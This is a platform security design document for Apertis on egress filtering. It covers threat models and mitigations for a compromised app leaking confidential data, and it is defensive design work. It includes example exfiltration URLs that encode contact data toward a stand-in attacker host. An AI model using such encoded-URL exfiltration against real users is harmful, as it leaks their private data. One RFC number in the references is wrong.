Egress filtering

Contents

This way to the egress! — attributed to P. T. Barnum[1]

An application that handles confidential data might have a security vulnerability that leads to it becoming controlled by an attacker. This design aims to mitigate such attacks.

Assumptions

We assume that the user has some confidential data (for example the contents of their address book), accessible to a particular application bundle[2], and that an attacker's goal is to gain access to that confidential data.

We assume that an application bundle with access to confidential data might become attacker-controlled due to a security vulnerability in the implementation of that application bundle, or in libraries that it uses. For example, there might be a security vulnerability in a JPEG decoding library used by the address-book user interface; an attacker might be able to exploit this vulnerability by publishing a crafted JPEG image in a vCard, so that when the image is decoded and displayed by the address-book user interface, arbitrary instructions of the attacker's choice are executed with the privileges of the address-book user interface (*arbitrary code execution*).

We assume that if other application bundles on the device are also controlled by the attacker, those bundles do not have privileges that the bundle under discussion does not have. In other words, we do not attempt to protect against a scenario where the attacker has independently compromised one app bundle which can access confidential data but not the Internet, and a second app bundle which can access the Internet but not confidential data, and now aims to make those app-bundles conspire to send confidential data to the Internet.

[1] https://en.wikipedia.org/wiki/Barnum%27s_American_Museum#Attractions
[2] https://martyn.pages.apertis.org/apertis-website/glossary/#app-bundle

The rationale for this assumption is that if the conspiring app-bundles both have access to a shared storage area such as a USB thumb drive, or an area of the filesystem designated for inter-app sharing such as Android's public storage directory[3], then we cannot prevent them from using that area to communicate; because the Multi-User design document[4] calls for audio and video files to be stored in a shared location, we must assume that at least some app-bundles are able to use it. A rational attacker would choose to target app-bundles which do have access to the shared storage area, in order to make use of this mechanism. Additionally, fully protecting against that scenario would require that we eliminate any other covert channels[5] between the app-bundles. The standard model for formalizing covert channels is to set an upper bound on the rate at which one of the conspiring app-bundles may transfer data to the other, and ensure that the total bandwidth of all possible covert channels cannot exceed the permitted rate.

For attacks where it is relevant whether the attacker has control over the network, we consider three threat models representing different assumptions:

1. *Attacker controls a server*: The attacker controls one or more Internet hosts (for example the attacker might have ordinary home/business broadband, be a customer of a generic hosting platform such as Amazon AWS, or control a "botnet" of compromised home/business machines). None of the servers controlled by the attacker are directly related to either the Apertis device, or any of the servers with which the application being considered would normally communicate.
2. *Passive network attacks*: The attacker has all the capabilities from the previous threat model, and can additionally perform passive attacks (eavesdrop on messages) on the local links used by the Apertis device (including Wi-Fi, Bluetooth, and cellular networks such as 4G used to connect to an Internet gateway), or on the path between the gateway and any remote server.
3. *Active network attacks*: The attacker has all the capabilities from the previous threat model, and can additionally perform active attacks (suppress desired messages, or generate undesired messages).

Use-cases

Purely offline application

Suppose the applications and agents in a bundle process confidential data, but never require either Internet access or communication with other applications. For example, an application to display detailed information about the vehicle, including sensitive data such as serial numbers, might not have any need to

[3] https://developer.android.com/reference/android/os/Environment.html#getExternalStoragePublicDirectory%28java.lang.String%29

[4] https://martyn.pages.apertis.org/apertis-website/concepts/multiuser/

[5] https://en.wikipedia.org/wiki/Covert_channel

communicate with any other application.

- **Unresolved:** is there a more common use-case for this? I considered documenting this in terms of something like a stored-password manager, but it seems likely that the majority of applications would want to communicate with other applications somehow; even something as limited and security-sensitive as a stored-password manager would probably benefit from the ability to send passwords to the relevant application. Conversely, simple games such as Sudoku or Hitori, or simple utilities such as a calculator, have no need for Internet access but also do not have access to any confidential data; isolating these applications from the Internet would be a good idea from the perspective of "least-privilege", but does not actually prevent any confidential data from being propagated, because they have no confidential data to propagate.

Suppose an attacker somehow gains control over such an application, as described in Assumptions. Our goal in situations like this is to prevent the attacker from copying the user's confidential data into a location where it can be read by the attacker.

- **Unresolved:** if it does not communicate with networks or other applications, how would an attacker achieve this?

The application bundle must not be able to send the user's confidential data directly.

- The platform must not allow that application bundle to send messages with attacker-chosen contents on Wi-Fi, Bluetooth or cellular networks via networking system calls such as `socket()`. This must be recorded as a probable attack.
  - If this requirement is not met, then confidentiality could be defeated by passive network attacks.
- The platform must not allow that application bundle to send messages with attacker-chosen contents via inter-process communication with network management services such as BlueZ or ConnMan. This must be recorded as a probable attack.
  - If this requirement is not met, then confidentiality could be defeated by passive network attacks.
- The platform must not allow that application bundle to send messages with attacker-chosen contents via platform services that interact with the network, such as the Newport download manager. This must be recorded as a probable attack.
  - For example, if this was not prevented, application bundle could construct one or more URLs that encode pieces of the user's confidential data, on a server controlled by the attacker, and instruct Newport to download them; that would effectively result in giving the confidential data to the server.
  - If this requirement is not met, then confidentiality could be defeated

by control of any server.

The application bundle should also not be able to send the user's confidential data *indirectly*, by asking that another application bundle does so.

- The application bundle should not be allowed to pass messages to other application bundles via Content hand-over[6].
  - Applications which require content hand-over for their normal functionality are outside the scope of this scenario, and are described in Application without direct Internet access.
- The application bundle should not be allowed to pass messages to other application bundles via inter-process communication mechanisms such as those described in Data sharing[7].
  - Applications which require IPC for their normal functionality are outside the scope of this scenario, and are described in Application without direct Internet access.

Unresolved: Is this scenario something that we need to address, or is it sufficient to apply the weaker requirements of an Application without direct Internet access?

Other systems

Android partially supports this scenario via the INTERNET permission flag[8]. Applications without that flag are not allowed to open network sockets. However, Android does not support preventing indirect URL dereferencing via content handover[9]: any Android application can "fire an intent" which will result in a GET request to an arbitrary URL. This effectively reduces this scenario to the weaker requirements of an Application without direct Internet access.

Android also does not support preventing its equivalents of our Content hand-over[10] and communication with public interfaces[11]: any application can declare a custom *intent* (analogous to our public interfaces), and any application can register to receive implicit intents matching a pattern (analogous to our content hand-over). Again, this is more similar to our Application without direct Internet access scenario.

As far as we can determine from its public documentation, iOS does not support this scenario at all. Sandboxed OS X applications partially support this scenario via the `com.apple.security.network.server` and `com.apple.security.network.client` entitlement flags[12], but these flags are not

[6] https://martyn.pages.apertis.org/apertis-website/concepts/content_hand-over/

[7] https://martyn.pages.apertis.org/apertis-website/architecture/data_sharing/

[8] https://developer.android.com/reference/android/Manifest.permission.html#INTERNET

[9] https://developer.android.com/guide/components/intents-common.html#Browser

[10] https://martyn.pages.apertis.org/apertis-website/concepts/content_hand-over/

[11] https://martyn.pages.apertis.org/apertis-website/architecture/data_sharing/

[12] https://developer.apple.com/library/mac/documentation/Miscellaneous/Reference/

available on iOS, and iOS does not appear to offer the ability to deny network access to an installed application[13] — perhaps because if it did, users would be able to turn off advertising-supported applications' ability to download new advertisements.

Application without direct Internet access

Some applications and agents never require direct Internet access. For example, if we assume that a background service such as `evolution-data-server` is responsible for managing the address book and performing online synchronization, then a human-machine interface (HMI, user interface) for the user's address book has no legitimate reason to contact the Internet. However, even these limited applications and agents will typically require the ability to carry out Content hand-over[14], which is the major difference between this scenario and the Purely offline application.

Suppose the attacker has been able to gain control over this application bundle, as described in Assumptions. The application bundle must not be able to send the user's confidential data directly.

- The requirements here are the same as for a Purely offline application being prevented from carrying out direct Internet access.

Suppose additionally that the address book app requires the ability to perform Content hand-over[15] for its normal functionality: for example, when the user taps on the phone number, web page or postal address of a contact, it would be reasonable for the UX designer to require that content handover to a telephony, web browser or navigation application is performed.

- *Non-requirement:* it is not possible to prevent the attacker from sending a small subset of the user's confidential data via content handover to other applications, and we will not attempt to do so. For example, if the address book app must be allowed to hand over `http://blogs.example.com/alice/` to the web browser, then the compromised app is equally able to hand over `http://attacker.example.net/QWxpY2UgU21pdGg7KzQ0IDE2MzIgMTIzNDU2Cg==` to the same web browser; this could conceivably be the address of a contact's website (or at least, an algorithmic check cannot determine that it isn't), but in fact it results in encoded data representing "Alice Smith;+44 1632 123456" being sent to the attacker.
  - The example given is deliberately not particularly subtle. A real attacker would probably use a less obvious encoding.

EntitlementKeyReference/Chapters/EnablingAppSandbox.html#//apple_ref/doc/uid/TP40011195-CH4-SW1

[13] http://www.howtogeek.com/177711/ios-has-app-permissions-too-and-theyre-arguably-better-than-androids/

[14] https://martyn.pages.apertis.org/apertis-website/concepts/content_hand-over/

[15] https://martyn.pages.apertis.org/apertis-website/concepts/content_hand-over/

  - This results in confidentiality being partially defeated by control of any server (in this example, `attacker.example.net`).
- *Non-requirement:* we probably cannot filter content handover to only allow URIs or file contents that do not look suspicious, because we cannot determine precisely how the application will process URIs that it receives, and what actions different components of a URI or file will trigger: an application might respond to a URI in an unexpected way, for example responding to `https://good.example.com/benign?ref=attacker.example.net&data=Alice+Smith%3B%2B44+1632+123456` by sending the specified address-book data to attacker.example.net.
- If the compromised app carries out content handover with messages that are suspiciously large or frequent, the platform may respond to this in some way. For example, this could indicate an attempt to transmit the user's entire address book.
  - This mitigates the loss of confidentiality.
  - The platform may assess this as a potential attack, but we recommend that this is not done, because it would be easy for a non-compromised, non-malicious application to trigger this detection if a corner-case in its normal operation leads to an unexpected burst of activity.
  - The platform may respond by delaying (rate-limiting, throttling) the processing of further messages, so that all messages from the app will be processed eventually, but the rate at which content handover can send data is limited to an acceptable level. We recommend that this is done instead of triggering attack-detection.
- If the compromised app carries out content handover while in the background, the platform may respond to this in some way.
  - The platform may assess this as a potential attack.
  - The platform may delay processing of the second content handover transaction until the next time the sending app is in the foreground, effectively rate-limiting content handover to one handover transaction per time the user switches back to the sending app.
  - This mitigates the loss of confidentiality.
  - **Unresolved:** Are there situations where content handovers from the background would be a valid thing for a non-compromised app to do?
- *Possible enhancement:* If the compromised app carries out content handover while in the foreground, but not in response to user action, the platform may assess this as a potential attack.
  - **Unresolved:** This appears unlikely to be useful in practice. If an app is in the foreground, then the user is likely to be interacting with it; the app could interpret any user interaction, such as a tap on a contact's name in the contact list, as triggering content handover as a side-effect in addition to having its usual function.
- To discourage this mode of attack, content hand-over should be made obvious to the user. For example, the Didcot content handover service could impose the policy that whenever app A hands over content to app

B, app B is brought into the foreground.

  - This mitigates the loss of confidentiality by making it detectable by the user.
  - **Unresolved:** Are there situations where this would be undesired?
  - If the user becomes suspicious and terminates the application, any incomplete content hand-over transactions that had been delayed by rate-limiting and not yet acknowledged should be cancelled.

- *Trade-off:* if each recipient of content hand-over requires user confirmation before carrying out external transmission such as Internet access or a phone call based on content that was handed over, then this attack can be avoided. However, the well-known problem with this approach is that users have been conditioned to click "OK" to all prompts[16]: if the user perceives a confirmation prompt as getting in the way of what they wanted to do, they will allow it. If the user taps on the phone number or web page of a contact in the address book HMI, it is reasonable to expect that the requested action is performed immediately; a user getting an unexpected prompt in this situation would most likely be annoyed by the prompt, press "OK", and get into the habit of pressing "OK" to all equivalent prompts in future, even those that are actually protecting them from an unrequested action.
  - This would mitigate the loss of confidentiality, but is probably not useful in practice.

Suppose the address book app requires the ability to communicate with apps/agents that implement a public interface[17] for its normal functionality: for example, it might have a button to perform a device-wide search for files and other content items that mention a contact's name.

- *Non-requirement:* it is not possible to prevent the attacker from sending the user's confidential data to other applications, and we will not attempt to do so. For example, if the address book app must be allowed to carry out a Sharing[18] operation, then the compromised app is equally able to "share" the user's entire address book with any registered sharing provider.
  - Note that our assumption that the attacker does not control other applications with more privileges applies here: if that assumption holds, then sending the user's address book to a non-malicious, non-attacker-controlled sharing provider does not help the attacker to achieve their goal.
- If the compromised app sends messages that are suspiciously large or frequent, the platform may apply rate-limiting, similar to what was described above for content hand-over.
  - We do not recommend that this is assessed as a potential attack, for the same reasons as for content hand-over. If public interfaces are to

[16]https://www.schneier.com/blog/archives/2006/04/microsoft_vista.html
[17]https://martyn.pages.apertis.org/apertis-website/architecture/data_sharing/
[18]https://martyn.pages.apertis.org/apertis-website/concepts/sharing/

be a useful extension mechanism without requiring centralized oversight by Apertis developers, then we must allow relatively arbitrary uses.

- If the compromised app carries out sharing while in the background, the platform might assess this as a potential attack.
  - **Unresolved:** Are there situations where this would be a valid thing for a non-compromised app to do?
- *Possible enhancement:* If the compromised app carries out sharing while in the foreground, but not in response to user action, the platform may assess this as a potential attack.
  - **Unresolved:** This seems unlikely to be useful in practice; the same issues apply here as for content hand-over.
- To discourage this mode of attack, whenever a public interface results in external transmission, the implementer of the public interface should make this obvious to the user.
  - This is entirely up to the implementer of the public interface: the platform cannot enforce this. However, if we assume that the implementer of the public interface is not attacker-controlled, it is reasonable to assume that it will not behave maliciously.
  - **Unresolved:** Are there situations where this would be undesired?
- *Trade-off:* if each recipient of messages to a public interface requires user confirmation before carrying out external transmission such as Internet access or a phone call based on content that was handed over, then this attack can be avoided.
  - Again, this is entirely up to the implementer of the public interface, and the platform cannot enforce this.
  - As with content hand-over, this must be balanced against convenience and UX expectations.

Other systems

Android supports this scenario via the INTERNET permission flag[19]. Applications without that flag are not allowed to open network sockets, and can only communicate with the Internet via mechanisms analogous to our Content hand-over[20] and Data sharing[21].

However, iOS does not appear to support this scenario, as described in Purely offline application.

Full Internet access

Suppose an application handles confidential data, and requires general-purpose Internet access. For example, a generic Web browser such as Apertis'

[19] https://developer.android.com/reference/android/Manifest.permission.html#INTERNET

[20] https://martyn.pages.apertis.org/apertis-website/concepts/content_hand-over/

[21] https://martyn.pages.apertis.org/apertis-website/architecture/data_sharing/

"Rhayader" browser falls into this category.

Suppose there is a security vulnerability in a component receiving data from the Internet; for example, the same JPEG decoding library vulnerability described in Application without direct Internet access.

Again, our goal is to prevent the attacker from copying the user's confidential data, such as their passwords, into a location where it can be read by the attacker.

- *Non-requirement*: If the application needs to contact servers without end-to-end confidentiality protection (HTTPS), for example using HTTP or FTP, then an attacker capable of at least passive attacks could send the confidential data over such a connection, and eavesdrop on that connection to obtain the confidential data. This cannot be solved, except by restricting the application to protocols known to preserve confidentiality.
- Unlike the Application without direct Internet access, the platform should allow that application bundle to send messages via platform services that interact with the network, such as the Newport download manager.
  - *Rationale: Preventing this is not helpful, because the application could equally well send those messages itself.*

If unencrypted HTTP or FTP is used, we certainly cannot ensure confidentiality in the presence of an attacker who can perform passive network attacks.

- **Not feasible:** It is not feasible to preserve confidentiality of data sent via HTTP or FTP without an app-specific confidentiality layer, because we assume that the attacker is able to read local wireless networking traffic, which includes the clear-text HTTP or FTP transactions.
- The platform should encourage the use of end-to-end-confidential protocols such as HTTPS.
- *Trade-off:* In principle we could discourage unencrypted traffic by only allowing the majority of applications to use HTTPS on port 443, and requiring a permissions flag for anything else. However, this would contribute to the "protocol ossification" described in papers such as RFC 3205[22], 'Ossification of the Internet' and 'Ossification: a result of not even trying?', in which transactions are disguised as HTTP on port 80 or HTTPS on port 443 to bypass interference from well-meaning gateways, undermining the ability to classify traffic or use better-performing protocols such as UDP/RTP where they are appropriate.

One mechanism that might be proposed is to require that the platform is able to perform deep packet inspection[23] on all network traffic; this is essentially a web application firewall[24], which is a specialized form of application-level gateway[25]. However, we do not believe this to be particularly useful here. Normally, web

[22] https://tools.ietf.org/html/rfc3205
[23] https://en.wikipedia.org/wiki/Deep_packet_inspection
[24] https://owasp.org/www-community/Web_Application_Firewall
[25] https://en.wikipedia.org/wiki/Application-level_gateway

application firewalls are deployed between the Internet and an *origin server* (web server), to protect the origin server from attackers on the Internet. This means the web application firewall can make assumptions about the forms of traffic that are or are not legitimate, based on the known requirements of the web application being run on the web server. However, this deployment would instead be between a user agent (web client) and the Internet, aiming to protect user agents with unknown requirements and behaviour patterns. This makes the design of a useful web application firewall much more difficult.

- **Not necessarily feasible:** Ideally, the platform would not allow confidential data to be sent to Internet sites other than those that the user intends. However, this is not feasible to achieve for several reasons:
  - We assume that the attacker controls the compromised application, and the endpoint to which it is sending data. The attacker could avoid deep-packet inspection by applying strong end-to-end confidentiality to the data sent (for example by using public-key cryptography), or by applying a weak obfuscation mechanism that is nevertheless not specifically known to the platform.
  - If encryption is used, we cannot distinguish between encrypted non-confidential data and encrypted confidential data.
  - Even if encryption is not used, we cannot necessarily distinguish between confidential data which is being sent to an endpoint that has a legitimate need to handle it (for example sending the user's address book to a PIM application, Facebook, or LinkedIn) and confidential data which is being sent to an endpoint that does not (for example sending the user's address book to the attacker's server).
  - Because the platform does not have an in-depth understanding of what the application aims to do (that would defeat the purpose of an app framework), it cannot apply a "default-deny" policy in which only the expected messages are permitted. Deep packet inspection in this scenario would necessarily have to fall back to "enumerating badness", which necessarily lags behind the discovery of new threats.
  - Similarly, because the platform does not understand the syntax of arbitrary network protocols, it could only guess at the meaning (semantics) of the content sent by the application.

If a technique such as end-to-end encrypted HTTPS is used, we can only detect suspicious transactions if the platform is empowered to break the security of the HTTPS connection, for example via one of these techniques, neither of which appears to be desirable.

- **Not recommended:** arranging for the application to provide each TLS connection's *master secret* to an otherwise non-intercepting proxy, allowing that proxy to decrypt the traffic that it passes through.
  - The non-intercepting proxy would become a very attractive target for attackers, because finding a vulnerability in it would provide access to all confidential traffic.

  - An attacker could still embed small amounts of confidential data in the TLS handshake by choosing a suitable value for the pre-master secret, which is not something we can meaningfully filter (since it is meant to be random, and strongly encrypted data is indistinguishable from randomness).
  - All the problems with deep packet inspection, noted above, still apply.
- **Not recommended:** arranging for the application to trust a CA certificate provided by a TLS interception proxy[26] on the device and acting as a "man-in-the-middle"
  - A man-in-the-middle is one of the attacks that HTTPS is designed to prevent, which means that recent/future HTTPS techniques such as certificate pinning[27] will tend to include measures that should defeat it.
  - Terminating the TLS connection at the proxy can also lead to new vulnerabilities[28] for the application.
  - The same single-point-of-failure reasoning as above applies.
  - All the problems with deep packet inspection, noted above, still apply.

Other systems

In Android, this is governed by the same `INTERNET` permissions flag as Internet access limited to common protocols.

Similarly, iOS does not appear to support this scenario: as discussed in Application without direct Internet access, all iOS apps can contact the network.

Lower-level networking

The next step beyond Full Internet access is the scenario of an application that cannot be restricted to Internet protocols either; for example, an application making use of direct Bluetooth, Wi-Fi, NFC or Ethernet communication (at the link layer rather than the transport layer) might fall into this category.

The goals, requirements and feasibility problems here are very similar to Full Internet access, except that meaningful proxying for arbitrary link-layer networking is likely to be more difficult than proxying arbitrary transport-layer networking.

Additionally, because there is a tendency for other nearby devices to trust messages received via local wireless networks such as Bluetooth, the ability to carry out this low-level networking should be restricted.

[26] http://www.zdnet.com/article/how-the-nsa-and-your-boss-can-intercept-and-break-ssl/
[27] https://owasp.org/www-community/controls/Certificate_and_Public_Key_Pinning
[28] https://owasp.org/www-community/controls/Certificate_and_Public_Key_Pinning#When_Do_You_Whitelist.3F

- Applications that do not require a particular form of local communication for their normal functionality must be prevented from using it. This mitigates the effect of a compromised application: nearby devices can only be attacked if the compromised application happens to be one that has permission to use the relevant form of local communication.

Other systems

Android requires specific permissions flags (BLUETOOTH, BLUETOOTH_ADMIN, BLUETOOTH_PRIVILEGED, CHANGE_WIFI_MULTICAST_STATE, CHANGE_WIFI_STATE, NFC, TRANSMIT_IR) for low-level networking.

iOS prompts the user before the first time a similar action is performed.

Attack detection

The platform should have a heuristic for detecting whether an app has been compromised or is malicious.

- The points described as a "probable attack" and "potential attack" above may be used as input into this heuristic.
- Other inputs outside the scope of this design, such as AppArmor alerts for attempts to access files not allowed by its profile, may be used as input into this heuristic.
- If this heuristic considers the app to be compromised, the platform may prevent it from running altogether.
- If this heuristic considers the app to be somewhat likely to be compromised, the platform may allow it to run, but prevent it from carrying out content handover or carrying out inter-process communication with any non-platform process.
  - **Unresolved:** Is this capability required?
- If this heuristic considers the app to be unlikely to be compromised, the platform should allow it to run unhindered.
- *Non-requirement:* The exact design of this heuristic is outside the scope of this document, and will be covered by a separate design.

Recommendations

TODO: add recommendations after a provisional set of requirements has been agreed

Possible extensions

Internet access limited to common protocols

Many applications and agents require Internet access to communicate with arbitrary sites, but can be restricted to specific protocols without loss of functionality. For example, a general-purpose web browser would typically only require support for HTTPS, HTTP and FTP. Additionally, it might only require access to the default network ports for those protocols.

We could conceivably require that these applications are restricted to those specific protocols. However, it is not clear that this would enable more meaningful filtering than in the Full Internet access case: the majority of the issues outlined there still apply.

If we were to go too far with encouraging the use of well-known protocols such as HTTPS, for example by requiring a permissions flag and special auditing for anything else, this risks the "protocol ossification" problem described in papers such as RFC 3205[29], 'Ossification of the Internet' and 'Ossification: a result of not even trying?', in which transactions are disguised as HTTP on port 80 or HTTPS on port 443 to bypass interference from well-meaning gateways such as our platform, undermining the ability to classify traffic or use better-performing protocols such as UDP/RTP where they are appropriate.

We recommend that the Apertis platform should have advisory/discretionary mechanisms encouraging the use of HTTPS, to reduce the chance that an application will accidentally use an insecure connection: for example, general-purpose libraries such as libsoup could be given a mode where they reject insecure connections to some or all domains selected by the application manifest, similar to Apple's App Transport Security. However, this specifically does not provide egress filtering or address the attacks described in this document, because an attacker with control over the application code could bypass it by using lower-level networking functionality.

Other systems

Android specifically does not support this scenario[30]. Applications with the `INTERNET` permissions flag can contact any Internet host using any protocol.

It is not entirely clear whether iOS App Transport Security[31] is able to prevent unencrypted HTTP operations by a compromised process. ATS does prevent accidental unencrypted HTTP operations when higher-level library functions are used, analogous to what would happen in Apertis if libsoup could be configured to forbid unencrypted HTTP. However, it is not clear from the public documentation whether iOS apps are able to bypass ATS by using lower-level system calls such as `socket()`; if they are, then a compromised application could still send unencrypted HTTP requests. Xamarin documentation[32] describes the C# APIs `HttpWebRequest` and `WebServices` as unaffected by ATS, which suggests

[29] https://tools.ietf.org/html/rfc3205

[30] https://groups.google.com/forum/#!topic/android-security-discuss/7Hqbhed8bZg

[31] https://developer.apple.com/library/ios/documentation/General/Reference/InfoPlistKeyReference/Articles/CocoaKeys.html#//apple_ref/doc/uid/TP40009251-SW33

[32] https://docs.microsoft.com/en-gb/xamarin/ios/platform/introduction-to-ios9/#app-transport-security

that lower-level system calls do indeed bypass ATS. This matches the ATS-like mechanism that we recommend above.

Domain-limited Internet access

Some applications and agents only require Internet access to communicate with a particular list of domains via well-known protocols. For example, a Twitter client might only need the ability to communicate with hosts in the `twitter.com` and `twimg.com` domains.

This is implementable in principle, but is complex, and it is not clear that it provides any additional security that cannot be circumvented by an attacker. We recommend not addressing this scenario.

Unresolved: Do we require specific support for this scenario, or should it be treated as Internet access limited to common protocols or Full Internet access?

Suppose there is a security vulnerability in a component receiving data from the Internet; for example, the same JPEG decoding library vulnerability described in Application without direct Internet access.

Again, our goal is to prevent the attacker from copying the user's confidential data, such as their Twitter password, into a location where it can be read by the attacker.

- *Non-requirement*: We cannot prevent the compromised application from contacting the domains that it normally needs to contact. For example, we cannot prevent a compromised Twitter client from sending the user's Twitter password to the attacker via a Twitter message.
- *Non-requirement*: If the application needs to contact servers without end-to-end confidentiality protection (HTTPS), for example using HTTP or FTP, then an attacker capable of at least passive attacks could send the confidential data over such a connection, and eavesdrop on that connection to obtain the confidential data. This cannot be solved, except by requiring HTTPS.
- As with the Application without direct Internet access, the platform must not allow that application bundle to send messages with attacker-chosen contents on Wi-Fi, Bluetooth or cellular networks via networking system calls such as `socket()`. This must be recorded as a probable attack.
  - If this requirement is not met, then confidentiality could be defeated by passive network attacks.
- As with the Application without direct Internet access, the platform must not allow that application bundle to send messages with attacker-chosen contents via inter-process communication with network management services such as BlueZ or ConnMan. This must be recorded as a probable attack.
  - If this requirement is not met, then confidentiality could be defeated by passive network attacks.

- The platform must not allow that application bundle to send messages with attacker-chosen contents *to domains outside the allowed set* via platform services that interact with the network, such as the Newport download manager. This must be recorded as a probable attack.
  - If this requirement is not met, then confidentiality could be defeated by control of any server.
- *Non-requirement:* The platform may prevent the application from sending messages with attacker-chosen contents to domains in the allowed set via services such as Newport, but unlike the Application without direct Internet access scenario, this is not required. For example, if the Twitter client in our example asks Newport to download a resource from `twimg.com`, this may be either allowed or denied.
  - *Rationale: Preventing this is not helpful, because the application could equally well send those messages itself.*
- Content handover and inter-process communication should be treated the same as for a Application without direct Internet access.

If unencrypted HTTP or FTP is used, we certainly cannot ensure confidentiality in the presence of an attacker who can perform passive network attacks, the same as for Full Internet access.

An attacker able to alter traffic on the vehicle's connection to the Internet could attempt to defeat this mechanism by intercepting DNS queries to resolve hostnames in the allowed domains (for example `twitter.com`), and replying with "spoofed" DNS results indicating that the hostname resolves to an IP address under the attacker's control.

- **Unresolved:** is this in-scope?
- If preventing this attack is in-scope, the application's name resolution must fail.
  - **Unresolved:** DNSSEC[33] solves this, but is not widely-deployed. For example, `twitter.com` is an example of a major site that is not protected by DNSSEC.
- That attack must *not* be treated as evidence that the application has been compromised.
  - *Rationale: if it was, then an attacker could easily deny availability by spoofing DNS results for a popular application. Continuing the Twitter example, if the attacker spoofs DNS results for `twitter.com`, the Twitter client is unlikely to be able to retrieve new tweets, but the user should not be prevented from using the application to read old tweets, and the Twitter client must certainly not be blacklisted from the app store.*
- The solution must not rely on requiring the application process to validate TLS certificates. The certificate must either be validated in a different trust domain, or not relied upon.

[33] https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions

- *Rationale: the attacker's code running in a compromised application could simply not validate the certificate.*

Other systems

Android specifically does not support this scenario[34]. Applications with the `INTERNET` permissions flag can contact any Internet host.

Similarly, iOS does not appear to support this scenario: as discussed in Application without direct Internet access, all iOS apps can contact the network.

It is not clear whether iOS App Transport Security[35] is able to prevent unencrypted HTTP operations by a compromised process. ATS does prevent accidental unencrypted HTTP operations when higher-level library functions are used, analogous to what would happen in Apertis if libsoup could be configured to forbid unencrypted HTTP. However, it is not clear from the public documentation whether iOS apps are able to bypass ATS by using lower-level system calls such as `socket()`; if they are, then a compromised application could still send unencrypted HTTP requests. Xamarin documentation[36] describes the C# APIs `HttpWebRequest` and `WebServices` as unaffected by ATS, which suggests that lower-level system calls do indeed bypass ATS. This matches what we recommend

Design notes

Some OS features that could be useful to implement these requirements:

- Network namespaces (an aspect of containerization) can be used to prevent networking altogether. If an Application without direct Internet access or Purely offline application is contained in its own network namespace, it loses access to direct network sockets, but can still communicate with other processes via filesystem-backed IPC, for example D-Bus.
- AppArmor profiles (mandatory access control) can be used to prevent networking system calls such as `socket()`. Policy violations are logged to the audit subsystem, which could be used as input to Attack detection.
- AppArmor profiles (mandatory access control) can prevent an application from communicating with network management services such as BlueZ or ConnMan. Again, policy violations are logged to the audit subsystem.
- AppArmor profiles (mandatory access control) can prevent a Purely offline application from communicating with network-related services such as Newport, or peer applications and agents, via D-Bus. Again, policy violations are logged to the audit subsystem.

[34] https://groups.google.com/forum/#!topic/android-security-discuss/7Hqbhed8bZg

[35] https://developer.apple.com/library/ios/documentation/General/Reference/InfoPlistKeyReference/Articles/CocoaKeys.html#//apple_ref/doc/uid/TP40009251-SW33

[36] https://docs.microsoft.com/en-gb/xamarin/ios/platform/introduction-to-ios9/#app-transport-security

- If an application is able to communicate with a network-related service such as Newport via D-Bus or another Unix-socket-based protocol, the network-related service could derive its bundle ID[37] from its AppArmor label, and use that to perform discretionary access control. Attack detection would have to be done out-of-band, for example by having Newport send feedback to a privileged service.
- For Domain-limited Internet access or Internet access limited to common protocols, if it is required, we could use AppArmor to forbid direct networking, and use a local SOCKS5, HTTP CONNECT or HTTPS CONNECT proxy; glib-networking provides automatic SOCKS5 and HTTP(S) proxy support for high-level GLib APIs. We would have to implement an Apertis-specific GProxyResolver module to make an out-of-band AF_UNIX or D-Bus request to negotiate app-specific credentials for that proxy, because IP connections do not convey a user ID or AppArmor profile. This local proxy would be written or configured to allow only the requests that we want to allow.
  - Alternatively, if we modified glib-networking to add support for an Apertis-specific variation of SOCKS5 or HTTP(S) with the connection to the proxy server made via an AF_UNIX socket, then applications contained in a network namespace could also use this technique, and we could use credentials-passing to get the user ID and AppArmor profile.

References

- RFC 3205[38], "On the use of HTTP as a Substrate", describes the problem of "protocol ossification".
- Ossification of the Internet[39] may have coined the term.
- Ossification: a result of not even trying?[40] is a more recent document revisiting this issue.
- The April Fools' Day RFC 3205[41], "The Security Flag in the IPv4 Header", alludes to the difficulties faced when attempting to distinguish between malicious and benign network traffic.

[37] https://martyn.pages.apertis.org/apertis-website/architecture/bundle-spec/#bundle-id
[38] https://tools.ietf.org/html/rfc3205
[39] http://www.scs.stanford.edu/nyu/04sp/notes/l23.pdf
[40] https://www.iab.org/wp-content/IAB-uploads/2014/12/semi2015_welzl.pdf
[41] https://tools.ietf.org/html/rfc3205